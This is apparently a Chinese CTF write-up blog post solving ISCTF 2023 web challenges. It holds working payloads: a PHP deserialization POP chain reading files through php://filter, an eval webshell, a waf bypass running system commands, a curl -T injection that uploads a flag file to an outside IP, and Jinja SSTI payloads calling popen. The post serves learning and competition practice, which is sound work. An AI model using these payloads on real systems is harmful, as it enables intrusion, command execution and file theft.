ISCTF WEB

发布时间 2023-11-29 11:57:29作者: kode

圣杯战争!!!

前置知识:

反序列化魔法函数:(以俩个下划线开头的方法称为魔法函数)

__construct()    在创建对象时候初始化对象,一般用于对变量赋初值。创建一个新的类时,自动调用该方法
__destruct()    和构造函数相反,当对象所在函数调用完毕后执行.即当一个类被销毁时自动调用该方法
__toString()    当对象被当做一个字符串使用时调用
__sleep()    当调用serialize()函数时,PHP 将试图在序列动作之前调用该对象的成员函数 __sleep()。这就允许对象在被序列化之前做任何清除操作
__wakeup()    反序列化恢复对象之前调用该方法。当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数
__invoke()    把一个实例对象当作函数使用时被调用
__call()    调用不可访问或不存在的方法时被调用
__callStatic()    调用不可访问或不存在的静态方法时自动调用
__get()    在调用私有属性的时候会自动执行,或者给不可访问或不存在属性赋值时也会被调用
__isset()    在不可访问的属性上调用 isset() 或 empty() 时触发
__set()    当给不可访问或不存在属性赋值时被调用
__unset()    在不可访问的属性上使用 unset() 时触发
__set_state()    当调用 var_export() 导出类时,此静态方法被调用。用 __set_state() 的返回值做为 var_export() 的返回值
__clone()    进行对象clone时被调用,用来调整对象的克隆行为
__debuginfo()    当调用 var_dump() 打印对象时被调用(当你不想打印所有属性),适用于PHP5.6版本

题目:

 <?php
highlight_file(__FILE__);
error_reporting(0);

class artifact{
    public $excalibuer;
    public $arrow;
    public function __toString(){
        echo "为Saber选择了对的武器!<br>";
        return $this->excalibuer->arrow;
    }
}

class prepare{
    public $release;
    public function __get($key){
        $functioin = $this->release;
        echo "蓄力!咖喱棒!!<br>";
        return $functioin();
    }
}
class saber{
    public $weapon;
    public function __invoke(){
        echo "胜利!<br>";
        include($this->weapon);
    }
}
class summon{
    public $Saber;
    public $Rider;

    public function __wakeup(){
        echo "开始召唤从者!<br>";
        echo $this->Saber;
    }
}

if(isset($_GET['payload'])){
    unserialize($_GET['payload']);
}
?> 

很简单一道反序列化的题:

链子的构造思路:首先从summom类中的__wakeup魔术方法入手,因为当进行unserialize时候,最先会调用__wakeup以及__destruct魔术方法,所以我们进行构造的话,先从summom类进行构造

 

 

 

构造如下:

 <?php
class artifact{
    public $excalibuer;
    public $arrow;

}

class prepare{
    public $release;

}
class saber{
    public $weapon;
}
class summon{
    public $Saber;
    public $Rider;
}
$a=new summon;
echo serialize($a);

?> 

 

可以看到这里成功调用的__wakeup魔术方法

然后我们进入到__wakeup魔术方法,可以看到这里面有个echo $this->Saber,echo是用来返回字符串的,所以说如果我们将Saber new成artifact类的对象,这样的话就会把对象当作字符串来使用就会调用__tostring魔术方法。

代码如下:

 <?php
class artifact{
    public $excalibuer;
    public $arrow;

}

class prepare{
    public $release;

}
class saber{
    public $weapon;
}
class summon{
    public $Saber;
    public $Rider;
}
$a=new summon;
$a->Saber = new artifact;

echo serialize($a);

?> 

看到成功进入了__tostring魔术方法

 进入到__tostring魔术方法后在 return $this->excalibuer->arrow;这里我们将excalibuer new为prepare的对象,因为我们将excalibuer new为prepare的对象的话,而arrow属性是在prepare类中找不到的,这样的话就会调用prepare类中的__get魔术方法

 代码如下:

 <?php
class artifact{
    public $excalibuer;
    public $arrow;

}

class prepare{
    public $release;

}
class saber{
    public $weapon;
}
class summon{
    public $Saber;
    public $Rider;
}
$a=new summon;
$a->Saber = new artifact;
$a->Saber->excalibuer =new prepare;

echo serialize($a);

?>

看到成功进入了__get魔术方法

 接着进入到__get魔术方法后,如果我们将属性release new为 saber的对象的话因为 $functioin $this->release;   和 return $functioin(); 将function也变为类saber的对象,然后return $function()将对象当作了函数进行使用,所以的话这里就会调用saber类中的__invoke魔术方法

 代码如下:

 <?php
class artifact{
    public $excalibuer;
    public $arrow;

}

class prepare{
    public $release;

}
class saber{
    public $weapon;
}
class summon{
    public $Saber;
    public $Rider;
}
$a=new summon;
$a->Saber = new artifact;
$a->Saber->excalibuer =new prepare;
$a->Saber->excalibuer->release=new saber;

echo serialize($a);

?> 

可以看到成功进入了__invoke魔术方法

 

 __invoke魔术方法里面有include函数,这里便知道需要使用文件包含获得flag

完整代码如下:

 <?php
class artifact{
    public $excalibuer;
    public $arrow;

}

class prepare{
    public $release;

}
class saber{
    public $weapon;
}
class summon{
    public $Saber;
    public $Rider;
}
$a=new summon;
$a->Saber = new artifact;
$a->Saber->excalibuer =new prepare;
$a->Saber->excalibuer->release=new saber;
$a->Saber->excalibuer->release->weapon="php://filter/convert.base64-encode/resource=flag.php";

echo serialize($a);

?> 

传入:/?payload=O:6:"summon":2:{s:5:"Saber";O:8:"artifact":2:{s:10:"excalibuer";O:7:"prepare":1:{s:7:"release";O:5:"saber":1:{s:6:"weapon";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}s:5:"arrow";N;}s:5:"Rider";N;}    便可以获得flag

 

where_is_the_flag

已给一句话

<?php
//flag一分为3,散落在各处,分别是:xxxxxxxx、xxxx、xxx。
highlight_file(__FILE__);

//标准一句话木马~
eval($_POST[1]);
?>

这里的话前俩个flag应该都可以找到,主要进行讲解第三个flag

第三个flag:

我们先找到docker文件

这段代码是一个用于修改和管理服务器上 Flag 变量的脚本。以下是代码的详细解释:

1. 使用 `sed` 命令替换 `flag.php` 文件中的 `{{FLAG1}}` 为前10个字符的 `FLAG` 变量值。`sed` 是一种文本编辑器,可以用于在文件中搜索和替换字符串。

2. 使用 `echo` 命令将 `FLAG` 变量从第11个字符开始的10个字符输出到 `/flag2` 文件。

3. 将 `FLAG` 变量从第21个字符开始的10个字符设置为新的 `FLAG3` 变量。

4. 将修改后的 `FLAG3` 变量值重新设置为 `FLAG` 变量。

5. 最后,启动 Apache(httpd)服务器,并将其设置为在前台运行(`FOREGROUND`)。

总体来说,这段代码的主要目的是修改 `flag.php` 文件中的特定字符串,并将修改后的值保存到其他文件中。此外,它还用于在服务器上设置和管理 `FLAG` 和 `FLAG3` 变量。

由此可知:flag3被设置为环境变量

这里我们可以用echo $FLAG3将其打印出来

 

 

绕进你的心里

 <?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';
$str = (String)$_POST['pan_gu'];
$num = $_GET['zhurong'];
$lida1 = $_GET['hongmeng'];
$lida2 = $_GET['shennong'];
if($lida1 !== $lida2 && md5($lida1) === md5($lida2)){
    echo "md5绕过了!";
    if(preg_match("/[0-9]/", $num)){
        die('你干嘛?哎哟!');
    }
    elseif(intval($num)){
        if(preg_match('/.+?ISCTF/is', $str)){
            die("再想想!");
        }
        if(stripos($str, '2023ISCTF') === false){
            die("就差一点点啦!");
        }
        echo $flag;
    }
}
?> 

参考链接:https://blog.csdn.net/wangyuxiang946/article/details/131156104

绕过(stripos($str, '2023ISCTF') === false) 参考 2023SHCTF <1zzphp>

利用脚本

import requests
url="http://43.249.195.138:21251/?hongmeng[]=1&shennong[]=2&zhurong[]=1"
data={
    'pan_gu':'very'*250000+'2023ISCTF'
}
r=requests.post(url,data=data)
print(r.text)

wafr

 <?php
/*
Read /flaggggggg.txt
*/
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);

if(preg_match("/cat|tac|more|less|head|tail|nl|sed|sort|uniq|rev|awk|od|vi|vim/i", $_POST['code'])){//strings
    die("想读我文件?大胆。");
}
elseif (preg_match("/\^|\||\~|\\$|\%|jay/i", $_POST['code'])){
    die("无字母数字RCE?大胆!");
}
elseif (preg_match("/bash|nc|curl|sess|\{|:|;/i", $_POST['code'])){
    die("奇技淫巧?大胆!!");
}
elseif (preg_match("/fl|ag|\.|x/i", $_POST['code'])){
    die("大胆!!!");
}
else{
    assert($_POST['code']);
} 

这里使用无字母数字构造Webshell

参考链接:https://cn-sec.com/archives/189017.html

 看到php版本为7.0多

 

 

 

所以我们可以使用payload:(phpinfo)() 这种形式进行命令执行

 

最终paylaod:code=(system)('ta\c /f*')

 

 

 

 

 

fuzz!

<?php
/*
Read /flaggggggg.txt
Hint: 你需要学会fuzz,看着键盘一个一个对是没有灵魂的
知识补充:curl命令也可以用来读取文件哦,如curl file:///etc/passwd
*/
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = 'file:///etc/passwd';
if(preg_match("/\`|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\\\\|\'|\"|\;|\<|\>|\,|\?|jay/i", $_GET['file'])){
    die('你需要fuzz一下哦~');
}
if(!preg_match("/fi|le|flag/i", $_GET['file'])){
    $file = $_GET['file'];
}
system('curl '.$file); 

可以看到他对于很多东西都进行了过滤,我们先进行fuzz看看他对于哪些进行了过滤。

贴一个脚本:

<?php
for($i=32;$i<127;$i++)
{
    if (!preg_match("/\`|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\\\\|\'|\"|\;|\<|\>|\,|\?|jay/i",chr($i))){
            echo chr($i);
        }
}
?>

 

 看到还剩下这么多没有被过滤掉。因此我们可以使用curl -T的命令,从而获得我们的flag

参考题目:2023极客大挑战- ctf_curl

payload:?file= -T /f[l][a][g]gggggg.txt 103.225.198.70:9999

 

恐怖G7人

考点:ssti模板注入

这里输入{{7*7}}

可以看到得到的结果为49

 所以存在ssti模板注入

 参考我之前的文章:https://www.cnblogs.com/kode00/p/17353251.html

payload:{{''.__class__.__base__.__subclasses__()[154].__init__.__globals__['popen']('ls').read()}}

 

 不过这里得到的是假的flag

我们可以通过获得环境变量来得到flag,如下:

 Payload:{{''.__class__.__base__.__subclasses__()[154].__init__.__globals__['popen']('env').read()}}